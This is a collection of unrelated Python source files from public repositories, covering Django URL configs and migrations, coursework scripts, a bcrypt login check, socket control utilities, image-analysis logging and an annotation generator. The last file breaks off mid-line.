<filename>examplecms/urls.py<gh_stars>0 from django.conf.urls import include, url from django.conf import settings from django.contrib import admin from django.views import static urlpatterns = [ url('^admin/', include(admin.site.urls)), url(r'^media/(?P<path>.*)$', static.serve, {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}), url('^', include('pubcms.urls')), ]

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pyjswidgets/pyjamas/ui/GlassWidget.ie6.py

takipsizad/pyjs

739

123953

# Copyright 2006 <NAME> and contributors # Copyright (C) 2009 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> (IE override) <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This IE-specific override is required because IE doesn't allow # empty element to generate events. Therefore, when the mouse moves # (or clicks) happen over *only* the GlassWidget (which is empty) # they stop flowing. however, IE does provide setCapture/releaseCapture # methods on elements which can be used to same effect as a regular # GlassWidget. # This file implements the IE version of GlassWidget simply by mapping # the GlassWidget API to the use of setCapture/releaseCapture # we re-use the global 'mousecapturer' to prevent GlassWidget.hide() # from releasing someone else's capture def show(mousetarget, **kwargs): global mousecapturer # get the element that wants events target_element = mousetarget.getElement() # insure element can capture events if hasattr(target_element,"setCapture"): # remember it mousecapturer = target_element # start capturing DOM.setCapture(target_element) def hide(): global mousecapturer if hasattr(mousecapturer,"releaseCapture"): DOM.releaseCapture(mousecapturer) mousecapturer = None

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Python Data Structures/Problem Set 10.py

Karoline0097/University-of-Michigan-Python-for-Everybody

0

123925

## Problem 10.2 # write a program to read through the mbox-short.txt # and figure out the distribution by hour of the day for each of the messages. file_name = input("Enter file:") file_handle = open(file_name) hour_list = list() for line in file_handle: # pull the hour out from the 'From ' line # From <EMAIL> Sat Jan 5 09:14:16 2008 if line.startswith("From"): line_list = line.split() if len(line_list) > 2: # find the time and then split the string a second time hour = line_list[5][:2] hour_list.append(hour) # accumulate the counts for each hour hour_dict = dict() for key in hour_list: hour_dict[key] = hour_dict.get(key, 0) + 1 # sort by hour srt_list = sorted(hour_dict.items()) # print out the counts, sorted by hour for (k,v) in srt_list: print (k,v)

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lab/hw03-part-i_nov14.py

jzacsh/neuralnets-cmp464

1

1741

<reponame>jzacsh/neuralnets-cmp464<gh_stars>1-10 """ <NAME> solution to homework #3, Nov 14., Part I """ # Per homework instructions, following lead from matlab example by professor: # http://comet.lehman.cuny.edu/schneider/Fall17/CMP464/Maple/PartialDerivatives1.pdf import sys import tensorflow as tf import tempfile import os import numpy as np os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # not really doing intersting things in this lab, so just ignore optimization class Differentiable: """ encapsulation of a function and its derivative """ def __init__(self, label, f, d): self.func = f self.deriv = d self.func.name = label self.deriv.name = "%sDeriv" % label # g(x) = x^4+2x-7 ; per matlab example # g'(x) = 4x^3+2 fExFourth = Differentiable("fExFourth", lambda x: tf.add_n([tf.pow(x, 4), tf.multiply(2, x), -7]), lambda x: tf.add_n([tf.multiply(4, tf.pow(x, 3)), 2])) tFofTwo = fExFourth.func(2) tFofDerivTwo = fExFourth.deriv(2) log_dir = tempfile.mkdtemp(prefix="hw3-nov14-parti") print(log_dir) with tf.Session() as sess: writer = tf.summary.FileWriter(log_dir, sess.graph) fOfTwo, fDerivOfTwo = results = sess.run([tFofTwo, tFofDerivTwo]) sys.stderr.write("results:\n\tf(2)=%s\n\tf'(2)=%s\n" % (fOfTwo, fDerivOfTwo)) # note: only needed when doing a *loop* of sess.run() calls, and want to see # intermediary results per-loop. #writer.add_summary(results) writer.flush() writer.close()

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application/src/database_manager/authenticate_user.py

eyardley/CSC648-SoftwareEngineering-Snapster

0

178106

<filename>application/src/database_manager/authenticate_user.py import bcrypt import base64 import hashlib import mysql.connector def authenticate_user(username, password_plain, db): user_authentication_query = ("SELECT user_id, username, password FROM user WHERE username=%s") # query the database for the record of the user try: db.query(user_authentication_query, (username,)) except mysql.connector.Error as err: # print("Internal server error with database: {}".format(err)) # FIXME: log this potentially fatal error # TODO: what other errors could occur with the connection object? error_message = { 'status': 'database_error', 'message': 'Internal database error: {}'.format(err) } return error_message if db.get_row_count() == 0: # the user entered the incorrect username success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message # examine the returned record to validate the user entered credentials for (user_id, username, password) in db.fetchall(): password_entered = password_plain.encode('utf-8') # encode the plain text password entered by the user # apply bcrypt on entered password and compare with value in database if bcrypt.checkpw(base64.b64encode(hashlib.sha256(password_entered).digest()), password.encode('utf-8')): # password is a match, login was successful # success_message = generate_session(user_id, r) success_message = { 'status': 'success', 'login': 'success', 'user_id': user_id } return success_message else: # the user entered the incorrect password success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message

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helpers/db_helper.py

funsojoba/davent

0

1602155

import uuid from django.db import models def generate_id(): return uuid.uuid4().hex class BaseAbstractModel(models.Model): id = models.CharField( primary_key=True, editable=False, default=generate_id, max_length=70 ) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) created_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="created by", related_name="+", null=True, blank=True, ) updated_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="updated by", related_name="+", null=True, blank=True, ) deleted_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="deleted by", related_name="+", null=True, blank=True, ) class Meta: abstract = True ordering = ("-created_at",) def save(self, actor=None, *args, **kwargs): if not self.pk: self.created_by = actor super(BaseAbstractModel, self).save(*args, **kwargs)

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imlib/imglog.py

sungcheolkim78/py_imlib

0

62170

""" imgLog.py - experimental log for imgFolder initial: 2019-10-04 """ import os import pandas as pd if ('np' not in dir()): import numpy as np from imlib.imgfolder import ImgFolder __author__ = '<NAME> <<EMAIL>>' __version__ = '1.0.0' class ImgLog(ImgFolder): """ imgFolder for channel experiment images """ def __init__(self, dirname, sort=False, debug=False): """ initialization """ super().__init__(dirname, sort=sort, debug=debug) self._logfname = dirname + '/log.xlsx' if not self.loadLog(): self._data['wall1'] = self._image._meta['wall1'] self._data['wall2'] = self._image._meta['wall2'] self._data['isChannel'] = False self._data['range1'] = self._image._meta['range1'] self._data['range2'] = self._image._meta['range2'] self._data['hasRange'] = False self._data['fangle'] = 0. # frame angle self._data['mangle'] = 0. # migration angle self._data['p'] = 0. # pressure self._data['u'] = 0. # longitudinal velocity self._data['mag'] = '40x' # magnification self._data['filter'] = '' # filter self._data['exp'] = 0. # exposure self._data['location'] = '' # location self._data['D'] = 0. # diffusion constant self._data['Pe'] = 0. # Peclet number self._data = self._data.astype( {'D':'float', 'Pe':'float', 'mangle':'float', 'hasRange':'bool', 'isChannel':'bool', 'exp':'float', 'range1':'int', 'range2':'int', 'wall1':'int', 'wall2':'int'}) def __repr__(self): """ show print out message """ msg = super().__repr__() return msg def __getitem__(self, fileID): self._image = super().__getitem__(fileID) p = self._data.at[fileID, 'p'] if isinstance(p, str) and (p.find(',') > -1): p = float(p.replace(',', '.')) self._data.at[fileID, 'p'] = p if isinstance(p, float) or isinstance(p, np.int64): u = 143.9518*p + 44.0784 # TODO in case of condenser chip self._data.at[fileID, 'u'] = u if self._debug: print('... (p, u) = {}, {}'.format(p, u)) self._data.at[fileID, 'exp'] = self._image._meta['exposuretime'] self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=p, fangle=self._data.at[fileID, 'fangle']) return self._image # manage log excel sheet def saveLog(self): """ save log sheet """ with pd.ExcelWriter(self._logfname) as writer: if self._debug: print('... save to {}'.format(self._logfname)) self._data.to_excel(writer) def loadLog(self): """ load log sheet """ if os.path.isfile(self._logfname): if self._debug: print('... load from {}'.format(self._logfname)) self._data = pd.read_excel(self._logfname, index_col=0) return True else: return False # image analysis def set_log(self, colname, values, ranges=[]): """ set log values for specific colname """ if len(ranges) == 0: ranges = range(len(self._data)) for i in ranges: self._data.at[i, colname] = values if self._debug: print('{}: [{}] - {}'.format(i, colname, values)) def detect_channel(self, fileID=-1, show=True): """ find wall information and save in object """ if fileID > -1: self._image = self.getfile(fileID) res = self._image.detect_channel(show=show) if len(res) > 3: self._data.at[self._curidx, 'range1'] = res[2] self._data.at[self._curidx, 'range2'] = res[3] self._data.at[self._curidx, 'hasRange'] = True if len(res) > 1: self._data.at[self._curidx, 'wall1'] = res[0] self._data.at[self._curidx, 'wall2'] = res[1] self._data.at[self._curidx, 'isChannel'] = True if len(res) == 1: self._data.at[self._curidx, 'isChannel'] = False return res def analysis_10x(self, fileID, bfileID=-1, wallinfo=[], p=-1, method='gaussian', update=True, padding=0): """ find angle and diffusion constant in 10x flu. and bright field images """ angle = 0.0 if p > -1: self._data.at[self._curidx, 'p'] = p if len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo print('... fileID: [{}] use wallinfo: {}, ranges: {}'.format(fileID, wallinfo[:2], wallinfo[2:])) else: if bfileID > -1: wallinfo = self.detect_channel(fileID=bfileID) wallinfo[0] = wallinfo[0] + padding wallinfo[1] = wallinfo[1] - padding if len(wallinfo) == 3: self._data.loc[fileID, ['wall1', 'wall2', 'range1']] = wallinfo elif len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo else: print('... no wall. Is this [{}] correct image?'.format(bfileID)) return img = self.__getitem__(bfileID) angle = img.detect_angles(show=False) print('... fileID: [{}] use wallinfo: {}, ranges: {}, frame angle: {}'.format(fileID, wallinfo[:2], wallinfo[2:], angle)) # set image information self._image = self.__getitem__(fileID) self._image.set_wallinfo(self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']]) self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=self._data.at[fileID, 'p'], fangle=self._data.at[fileID, 'fangle']) # calculate peak positions self._image.fitlines_x(method=method, update=update) self._image.showfit_sigmas() self._image.showfit_angles() # save results self._data.at[fileID, 'mangle'] = self._image._meta['mangle'] self._data.at[fileID, 'D'] = self._image._meta['D'] self._data.at[fileID, 'Pe'] = self._image._meta['Pe'] if angle > 0: self._data.at[fileID, 'fangle'] = angle def analysis_all(self, blist, flist, method='gaussian', update=False): """ analaysis migration angle of files in flist with wall info from blist """ if isinstance(blist, int): blist = np.zeros_like(np.array(flist)) + blist for i in range(len(flist)): self.analysis_10x(flist[i], bfileID=blist[i], padding=5, update=update, method=method) self.saveLog() def showinfo(self, colname='mag', condition='10x'): """ show panda data with condition """ return self._data[self._data[colname] == condition] # vim:foldmethod=indent:foldlevel=0

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examples/wagsley/wagsley/urls.py

Blogsley/blogsley

0

20809

from django.conf import settings from django.urls import include, path, re_path from django.contrib import admin from ariadne_django.views import GraphQLView from wagtail.admin import urls as wagtailadmin_urls from wagtail.core import urls as wagtail_urls from wagtail.documents import urls as wagtaildocs_urls from puput import urls as puput_urls from search import views as search_views from wagsley.schema import schema print(schema) urlpatterns = [ path('django-admin/', admin.site.urls), path('admin/', include(wagtailadmin_urls)), path('documents/', include(wagtaildocs_urls)), #path('search/', search_views.search, name='search'), ] if settings.DEBUG: from django.conf.urls.static import static from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Serve static and media files from development server urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) urlpatterns = urlpatterns + [ path('graphql/', GraphQLView.as_view(schema=schema), name='graphql'), path('accounts/', include('accounts.urls')), path('accounts/', include('django.contrib.auth.urls')), path('accounts/', include('allauth.urls')), path('events/', include('events.urls')), re_path(r'^comments/', include('django_comments_xtd.urls')), path("", include(puput_urls)), path("", include(wagtail_urls)), path('', include('home.urls')), ]

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fdbk/data_tools/functions/__init__.py

kangasta/fdbk

1

112410

from ._chart_funcs import * from ._collection_funcs import * from ._status_funcs import * from ._value_funcs import * # pylint: disable=invalid-name functions = {**CHART_FUNCS, **COLLECTION_FUNCS, **STATUS_FUNCS, **VALUE_FUNCS}

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PlatformIndependence/gen_sse_impl.py

ZJUCVG/EIBA

86

109134

<reponame>ZJUCVG/EIBA #!/usr/bin/python import clang.cindex import re import subprocess intrinsic_types = {'__m64', '__m128', '__m128i', '__m128d'} pointer_arg_matcher = re.compile(r'.*(__m64|__m128|__m128i|__m128d).*\*.*') non_pointer_arg_matcher = re.compile(r'.*(__m64|__m128|__m128i|__m128d).*') header = "//Do not edit this file, it's automatically generated." class FuncDeclVisitor: """For a intrinsic function declaration, generate the implementatio""" def __init__(self): self.alreay_visited = set() self.macros = [] # self.funcnames = [] # self.funcimpls = [] # self.taildefines = [] def __call__(self, node): # ret, name, arg_types, arg_names = self.parse(node) old_ret, old_name, old_arg_types, old_arg_names = self.parse(node) if old_name in self.alreay_visited: return self.alreay_visited.add(old_name) new_ret = old_ret.replace('__m', '_pi__m') new_name = '_pi' + old_name new_arg_types, new_paras = [], [] for t, n in zip(old_arg_types, old_arg_names): # new_arg_types.append(t.replace('__m', 'my__m')) if pointer_arg_matcher.match(t): new_paras.append('&' + self.quote(n) + '->native_obj') elif non_pointer_arg_matcher.match(t): new_paras.append(self.quote(n) + '.native_obj') else: new_paras.append(n) macro_head = '#define ' + new_name + self.quote( ','.join(old_arg_names)) # impl = '#define ' + new_name + '(' + \ # ','.join(t + ' ' + n for t, n in zip(new_arg_types, old_arg_names)) + \ # ')' macro_impl = old_name + self.quote(','.join(new_paras)) if old_ret in intrinsic_types: macro_impl = self.native_to_my_expr(macro_impl) # exprs = [] # if old_ret in intrinsic_types: # exprs.append(new_ret + ' tmp') # exprs.append('tmp.native_obj=' + old_name + self.quote(','.join(new_paras))) # exprs.append('tmp') # else: # exprs.append(old_name + self.quote(','.join(new_paras))) # impl = define_head + ' ' + self.quote(','.join(exprs)) # if old_ret in intrinsic_types: # impl = new_ret + ' tmp;' + \ # 'tmp.native_obj=' + impl + 'return tmp;' # elif 'void' != old_ret: # impl = 'return ' + impl # cur_func = decl + '{' + impl + '}' # impl = define_head + define_impl # self.funcimpls.append(impl) # self.funcnames.append((old_name, new_name)) # self.taildefines.append('#ifdef ' + old_name + '\n' + # '#undef ' + old_name + '\n' + '#endif\n' # '#define ' + old_name + self.quote(','.join(old_arg_names)) + # ' ' + new_name + self.quote(','.join(old_arg_names))) win32_macro = ' '.join(['#define', new_name, old_name]) linux_macro = macro_head + macro_impl self.macros.append('\n'.join( ['#ifdef WIN32', win32_macro, '#else', linux_macro, '#endif'])) @staticmethod def parse(node): ret = node.result_type.spelling arg_types = [] arg_names = [] for a in node.get_arguments(): arg_types.append(a.type.spelling) arg_names.append(a.spelling) return ret, node.spelling, arg_types, arg_names @staticmethod def quote(name): return '(' + name + ')' @staticmethod def native_to_my_expr(expr): return 'from_native_obj' + FuncDeclVisitor.quote(expr) def result(self): return self.result def visit_func_decls(node, visitor): """visit AST, for each function declaration node, call visitor""" if node.kind == clang.cindex.CursorKind.FUNCTION_DECL: visitor(node) for c in node.get_children(): visit_func_decls(c, visitor) if __name__ == '__main__': src, out = "sse.in", "sse_impl.h" code = 'class __m64{}; class __m128{}; class __m128i{}; class __m128d{};' with open(src, 'r') as f: code = code + ';'.join(f) code = code + ';' # for line in f: # code = code + line + ';' index = clang.cindex.Index.create() unit = index.parse('tmp.cc', None, [('tmp.cc', code)]) visitor = FuncDeclVisitor() visit_func_decls(unit.cursor, visitor) with open(out, 'w') as outfile: outfile.write(header + '\n') outfile.write('\n'.join(visitor.macros)) outfile.write('\n') # outfile.write('\n'.join(visitor.funcimpls)) # outfile.write('\n') # outfile.write('\n'.join(visitor.taildefines)) # for old_name, new_name in visitor.funcnames: # outfile.write('#ifdef ' + old_name + '\n') # outfile.write('#undef ' + old_name + '\n') # outfile.write('#endif\n') # outfile.write('#define ' + old_name + ' ' + new_name + '\n') subprocess.check_call(['clang-format', '-i', out])

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server/apps/api/notice/migrations/0003_alter_event_priority.py

NikitaGrishchenko/csp-tender-hack-server

0

20795

# Generated by Django 3.2.9 on 2021-11-27 12:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('notice', '0002_auto_20211127_0236'), ] operations = [ migrations.AlterField( model_name='event', name='priority', field=models.IntegerField(choices=[(1, 'Низкий приоритет'), (2, 'Средний приоритет'), (3, 'Высокий приоритет')], verbose_name='Приоритет'), ), ]

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lsh/utils/strings_utils.py

singhj/locality-sensitive-hashing

19

185013

import re import string DEFAULT_TOKENIZER_DELIMITER = ' ' def remove_all_whitespace(str): """ Strips all whitespace from a given string. :return: new string without whitespaces, will return the original string if it is empty or None """ if str: return re.sub(r'\s+', '', str) else: return str def tokenize(str, delimiter=DEFAULT_TOKENIZER_DELIMITER): """ Splits a string by a given delimiter. Default delimiter is a single whitespace. :return: list of string tokens, will return the original string if it is empty or None """ if str: return str.split(delimiter) else: return str def normalize(str): """ Normalizes the string making string all lower case and removes all punctuation. :param str: string to be normalized :return: normalized string, if str is None or empty it returns the original string """ if str: if isinstance(str, unicode): not_letters_or_digits = u'!"#%\'()*+,-./:;<=>?@[\]^_`{|}~' translate_to = u'' translate_table = dict((ord(char), translate_to) for char in not_letters_or_digits) return str.translate(translate_table) else: return str.lower().translate(string.maketrans("",""), string.punctuation) else: return str def get_stem(word): #TODO: Research stemming libraries and implement method using library functions return word

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LPP/lmsff/lms_app/migrations/0002_auto_20180912_0920.py

teamdiniz/Projeto-devops-lms

0

189852

# Generated by Django 2.0.6 on 2018-09-12 12:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lms_app', '0001_initial'), ] operations = [ migrations.RenameField( model_name='disciplina', old_name='nomedd', new_name='nome', ), ]

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Python3/专利检索爬虫/solvecsvFUCKED.py

BillChen2K/LearningRepo

11

154745

from lxml import etree import lxml import pickle with open('/Users/billchen/OneDrive/Workspace/LearningRepo/Python3/专利检索爬虫/20050101_20101231_B09B_PAGE1.pickle', 'rb') as f: source = '' p = pickle.load(f) html = etree.HTML(p)

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load_model.py

zhfeing/cifar-10-test

0

27458

import keras import os def load_model(version, new_model, retrain=False, *args): """ :param version: model version :param new_model: method for call to get a new model e.g. my_ResNet.my_ResNet :param retrain: True: load new model :return: """ create_new_model = False # load model if not retrain: try: with open(os.path.join("./model", "model_structure_{}.json".format(version)), "r") as file: model_json = file.read() print("[info]: loading model...") model = keras.models.model_from_json(model_json) model.load_weights(os.path.join("./model", "model_weights_{}.h5".format(version))) print("[info]: load model done.") except OSError: print("[info]: load model file failed, creating model") model = new_model(*args) create_new_model = True else: print("[info]: retrain, creating model") model = new_model(*args) create_new_model = True return model, create_new_model

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sgcache/control.py

vfxetc/sgcache

13

8516

<gh_stars>10-100 from __future__ import absolute_import from select import select import errno import functools import itertools import json import logging import os import socket import threading import time import traceback log = logging.getLogger(__name__) from .utils import makedirs, unlink class TimeOut(Exception): pass base_handlers = { 'ping': lambda control, msg: {'type': 'pong', 'pid': os.getpid()} } def _coerce_msg(type=None, **msg): if type: if isinstance(type, basestring): msg['type'] = type return msg elif msg: raise ValueError('cannot specify dict message and kwargs') else: msg = dict(type) if 'type' not in msg: raise ValueError('message requires type') return msg class ControlClient(object): handlers = base_handlers.copy() def __init__(self, addr=None, sock=None, server=None): self.addr = addr self.sock = sock self.server = server self._line_buffer = '' self._message_buffer = [] self._handler_reply_ids = None self._session_generator = itertools.count(1) if sock is None: self.connect() def connect(self): # This is indempodent. if self.sock is not None: return if self.addr is None: return if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) else: self.sock = socket.socket(socket.AF_INET) self.sock.connect(self.addr) return True def close(self): if self.sock: self.sock.close() self.sock = None def _readline(self, timeout=None): if not self.sock: return if timeout: end_time = time.time() + timeout buffer_ = self._line_buffer while True: r, _, _ = select([self.sock], [], [], max(0, end_time - time.time()) if timeout else None) if not r: raise TimeOut() new = self.sock.recv(4096) if not new: self.sock = None self._line_buffer = '' return buffer_ += new if '\n' in buffer_: line, buffer_ = buffer_.split('\n', 1) self._line_buffer = buffer_ return line def recv(self, timeout=None): try: return self._message_buffer.pop(0) except IndexError: pass for attempt_num in (0, 1): self.connect() try: line = self._readline(timeout) except socket.error as e: if attempt_num: raise if line: try: return json.loads(line) except: self.send('error', message='malformed message') self.close() return if attempt_num: return def recv_for(self, wait_id, timeout=None): for i in xrange(len(self._message_buffer)): msg = self._message_buffer[i] if msg.get('for') == wait_id: self._message_buffer.pop(i) return msg while True: msg = self.recv(timeout) if not msg: return if msg.get('for') == wait_id: return msg self._message_buffer.append(msg) def send(self, *args, **kwargs): msg = _coerce_msg(*args, **kwargs) wait_id = msg.get('wait') if wait_id is True: wait_id = msg['wait'] = next(self._session_generator) encoded = json.dumps(msg) # Track what has been sent automatically. if wait_id is not None and self._handler_reply_ids is not None: self._handler_reply_ids.add(wait_id) # Attempt to reconnect a couple times when sending this. for attempt_num in (0, 1): self.connect() try: self.sock.send(encoded + '\n') except socket.error as e: if attempt_num: raise return wait_id def reply_to(self, original, *args, **kwargs): wait_id = original.get('wait') if wait_id is None: raise ValueError('original message has no session') msg = _coerce_msg(*args, **kwargs) msg['for'] = wait_id self.send(msg) def send_and_recv(self, type, **kwargs): timeout = kwargs.pop('timeout') msg = _coerce_msg(type, **kwargs) msg['wait'] = True wait_id = self.send(msg) return self.recv_for(wait_id, timeout) def ping(self, timeout=None): return self.send_and_recv('ping', pid=os.getpid(), timeout=timeout) def loop(self, async=False): if async: thread = threading.Thread(target=self.loop) thread.daemon = True thread.start() return thread while True: msg = self.recv() if not msg: return type_ = msg.get('type') wait_id = msg.get('wait') func = self.handlers.get(type_) if func is None and self.server: func = self.server.handlers.get(type_) if func is None: log.warning('unknown message type %r' % type_) self.reply_to(msg, 'error', message='unknown message type %r' % type_) continue if self.server and self.server.name: log.info('%s handling %s' % (self.server.name, type_)) else: log.info('handling %s' % type_) self._handler_reply_ids = set() try: res = func(self, msg) except Exception as e: self.reply_to(msg, 'error', message='unhandled exception %s' % e) continue # If the handler replied, then we are done. if res is None and wait_id is None or wait_id in self._handler_reply_ids: continue res = res.copy() if isinstance(res, dict) and 'type' in res else {'type': 'result', 'value': res} if wait_id is not None: res['for'] = wait_id self.send(res) class ControlServer(object): def __init__(self, addr, name=None): self.addr = addr self.name = name self.handlers = base_handlers.copy() if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) if os.path.exists(self.addr): # TODO: Try connecting to it before destroying it. unlink(self.addr) makedirs(os.path.dirname(self.addr)) else: self.sock = socket.socket(socket.AF_INET) self.sock.bind(self.addr) self.sock.listen(5) def register(self, func=None, **kwargs): if func is None: return functools(self.register(**kwargs)) self.handlers[kwargs.get('name') or func.__name__] = func def loop(self, async=False): if async: thread = threading.Thread(target=self.loop) thread.daemon = True thread.start() return thread while True: try: client_sock, addr = self.sock.accept() except socket.timeout: continue client = ControlClient(sock=client_sock, server=self) client.loop(async=True)

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scripts/run_shard.py

spmckenney/Devv-Core

0

59865

<filename>scripts/run_shard.py<gh_stars>0 #!/usr/bin/python3 ''' Usage: ./run_shard.py config_file output_dir Example: ./run_shard.py ../../my_config.txt /tmp/output Creates an X node shard on localhost. Each node will read the config file for default options. The nodes will be connected to each other and each will also open a connection to an announcer at "tcp://localhost:(announcer_base_port + node_num). ''' import sys import os import time import subprocess nodes=['localhost', 'localhost', 'localhost'] announce_node='localhost' start_processes = True run_in_charliecloud = False num_nodes = len(nodes) num_t2_shards=1 base_port = 56550 announcer_base_port = 57550 config_file = sys.argv[1] log_dir = sys.argv[2] pass_file = sys.argv[3] if num_nodes < 3: print("Error, number of nodes must be >= 3") bind_port = [] node_target = [] output_file = [] for i in range(num_nodes): bind_port.append("tcp://*:"+str(base_port+i)) node_target.append("tcp://"+nodes[i]+":"+str(base_port+i)) output_file.append(os.path.join(log_dir, "devvnode_output"+str(i)+".log")) host_list = [] for i in range(num_nodes): host_list.append([]) #node_index=i for index, node in enumerate(nodes): # skip self if (index == i): continue host_list[i].append(node_target[index]) cmds = [] for i in range(len(nodes)): cmds.append([]) cmd = cmds[i] if run_in_charliecloud: cmd.append("ch-run") cmd.append("/z/c-cloud/dirs/x86_64-ubuntu16.04-devcash-v028") cmd.append("--") cmd.append("./devcash") # set node index cmd.extend(["--node-index", str(i)]) # add config file cmd.extend(["--config", config_file]) # add config file cmd.extend(["--config", pass_file]) # connect to each node for host in host_list[i]: cmd.extend(["--host-list", host]) # connect to announcer cmd.extend(["--host-list", "tcp://"+announce_node+":"+str(announcer_base_port+i)]) # bind for incoming connections cmd.extend(["--bind-endpoint", bind_port[i]]) ############################# ps = [] for index,cmd in enumerate(cmds): print("Node " + str(index) + ":") print(" Command: ",*cmd) print(" Logfile: ",output_file[index]) if start_processes: with open(output_file[index], "w") as outfile: ps.append(subprocess.Popen(cmd, stdout=outfile, stderr=outfile)) time.sleep(1.5) if start_processes: for p in ps: print("Waiting for nodes ... ctl-c to exit.") p.wait() print("Goodbye.")

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object_detection/fine_tuning_utils/create_food_annotations.py

SirSykon/object_detection

0

82698

<reponame>SirSykon/object_detection<filename>object_detection/fine_tuning_utils/create_food_annotations.py import pandas as pd import os import cv2 import argparse import numpy as np from shutil import copyfile from xml.etree.ElementTree import Element, SubElement, Comment, tostring, parse, ElementTree def create_annotations(data_annotations_path, image_folder, output_annotations_folder, output_image_folder, labelmap_path, number_of_classes_to_get, reduce_factor): # We turn the .xls into a pandas Dataframe. df = pd.read_excel(io=data_annotations_path, sheet_name='Hoja3', names=['Image', 'Meal', 'x1', 'y1', 'x2', 'y2', 'x3', 'y3', 'x4', 'y4']) MEAL_LIST = list(df.Meal.unique()) meal_count = df['Meal'].value_counts() with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also print(meal_count[:number_of_classes_to_get]) MEALS_TO_USE = list(meal_count[:number_of_classes_to_get].index) row = df.loc[df['Meal'].isin(MEALS_TO_USE)] for index, meal in enumerate(MEALS_TO_USE): item = {"id":index+1, "name":meal} print(item) with open(labelmap_path, 'a') as f: s = "\nitem {\n id: "+str(index+1)+"\n name: '"+meal+"'\n}" f.write(s) for index, (_, row) in enumerate(row.iterrows()): # We get the xml annotation path. xml_path = os.path.join(output_annotations_folder, row.Image + ".xml") # Does the .xm exists? if not os.path.exists(xml_path): print(f"{xml_path} not found.") # We get the image path. image_path = os.path.join(image_folder,row.Image + ".jpg") # We load the image and add it to the list. image = cv2.imread(image_path) if reduce_factor > 1: new_dim = (int(image.shape[1]/reduce_factor), int(image.shape[0]/reduce_factor)) image = cv2.resize(image, new_dim) cv2.imwrite(os.path.join(output_image_folder,row.Image + ".jpg"), image) #copyfile(image_path, os.path.join(output_image_folder,row.Image + ".jpg")) # We get height and width to normalize. h, w, c = image.shape ann = Element('annotation') folder = SubElement(ann, "folder") folder.text = "images" filename = SubElement(ann, "filename") filename.text = os.path.basename(image_path) path = SubElement(ann, "path") path.text = os.path.abspath(image_path) source = SubElement(ann, "source") database = SubElement(source, "database") database.text = "Unknown" size = SubElement(ann, "size") width = SubElement(size, "width") width.text = str(w) height = SubElement(size, "height") height.text = str(h) depth = SubElement(size, "depth") depth.text = str(c) segmented = SubElement(ann, "segmented") segmented.text = str(0) else: print(f"{xml_path} found.") xml_tree = parse(xml_path) root = xml_tree.getroot() ann = root class_label_id = MEAL_LIST.index(row.Meal) + 1 # We get bounding box corner coordinates. listX = [row.x1, row.x2, row.x3, row.x4] listY = [row.y1, row.y2, row.y3, row.y4] bbox_xmin = int(min(listX)/reduce_factor) bbox_ymin = int(min(listY)/reduce_factor) bbox_xmax = int(max(listX)/reduce_factor) bbox_ymax = int(max(listY)/reduce_factor) obj = SubElement(ann, "object") name = SubElement(obj, "name") name.text = str(row.Meal) pose = SubElement(obj, "pose") pose.text = "Unspecified" truncated = SubElement(obj, "truncated") truncated.text = str(0) difficult = SubElement(obj, "difficult") difficult.text = str(0) bndbox = SubElement(obj, "bndbox") xmin = SubElement(bndbox, "xmin") xmin.text = str(bbox_xmin) ymin = SubElement(bndbox, "ymin") ymin.text = str(bbox_ymin) xmax = SubElement(bndbox, "xmax") xmax.text = str(bbox_xmax) ymax = SubElement(bndbox, "ymax") ymax.text = str(bbox_ymax) tree = ElementTree(ann) tree.write(xml_path) """ child = SubElement(top, 'child') child.text = 'This child contains text.' child_with_tail = SubElement(top, 'child_with_tail') child_with_tail.text = 'This child has regular text.' child_with_tail.tail = 'And "tail" text.' child_with_entity_ref = SubElement(top, 'child_with_entity_ref') child_with_entity_ref.text = 'This & that' """ def main(): # Initiate argument parser parser = argparse.ArgumentParser(description="Generate xml files.", formatter_class=argparse.RawTextHelpFormatter) parser.add_argument( '-a', '--annotations_path', help='Path to .xls with annotation information.', type=str, default=None ) parser.add_argument( '-i', '--image_dir', help='Path to the folder where the image dataset is stored.', type=str, default=None ) parser.add_argument( '-o', '--output_dir', help='Path to the output folder where xml are saved.', type=str, default=None ) parser.add_argument( '-n', '--number_of_classes', help='The nummber of classes to take image of. If given number is lesser than 73 (default), the classes with most objects will be selected.', default=73, type=int) parser.add_argument( '-l', '--labelmap_path', help='The path to save the label map. If not provided, will be saved in image_dir.', default=None, type=str) parser.add_argument( '-r', '--reduce_factor', help='Factor to reduce image size.', default=1, type=int) args = parser.parse_args() if args.annotations_path is None: print("ERROR. No .xls with annotations provided.") quit() if args.image_dir is None: print("ERROR. No image folder provided.") quit() if args.output_dir is None: print("ERROR. No output folder provided.") quit() if not os.path.isdir(args.output_dir): 